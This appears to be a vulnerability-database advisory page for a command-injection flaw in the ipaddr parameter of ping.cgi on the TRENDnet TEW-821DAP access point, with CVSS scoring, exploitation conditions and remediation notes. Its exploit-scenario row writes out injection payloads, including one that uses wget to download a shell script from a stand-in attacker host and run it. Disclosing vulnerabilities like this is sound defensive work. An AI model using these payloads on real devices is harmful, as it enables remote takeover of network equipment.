Command injection via popen/system yields full OS access, warranting H/H/H impact; PR:L matches CVSS 4.0 source; scope unchanged as impact is confined to the AP itself.
Primary rating from Vendor (VulDB).

Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was determined in TRENDnet TEW-821DAP 2.2.01b05. Affected is the function popen/system of the file /cgi-bin/ping.cgi of the component ssi. Executing a manipulation of the argument ipaddr can lead to command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.
AnalysisAI
Command injection in TRENDnet TEW-821DAP firmware 2.2.01b05 allows authenticated remote attackers to execute arbitrary OS commands by supplying shell metacharacters in the ipaddr parameter of the /cgi-bin/ping.cgi endpoint. The SSI component passes this input unsanitized to popen/system, enabling full OS command execution on the device. …

Vulnerability AssessmentAI
| Exploitation | The CVSS 4.0 vector specifies PR:L, meaning exploitation requires at minimum low-privilege authenticated access to the TEW-821DAP web management interface - unauthenticated exploitation is not supported by the provided data. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) establishes this as a network-exploitable, low-complexity vulnerability requiring low-privilege authenticated access, with a base score of 5.3. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege access to the TEW-821DAP web interface - obtained via default credentials or brute force - sends an HTTP request to `/cgi-bin/ping.cgi` with an `ipaddr` value such as `127.0.0.1; id` or `127.0.0.1 | wget http://attacker.com/shell.sh -O /tmp/s && sh /tmp/s`, causing the device's `popen`/`system` call to execute the injected payload as the CGI process user. A public POC on GitHub demonstrates the technique, making exploitation accessible to low-skill adversaries. … |
| Remediation | No vendor-released patch for the TRENDnet TEW-821DAP has been identified at time of analysis - check TRENDnet's official firmware download page for updates addressing this CVE. … Detailed patch versions, workarounds, and compensating controls in full report. |
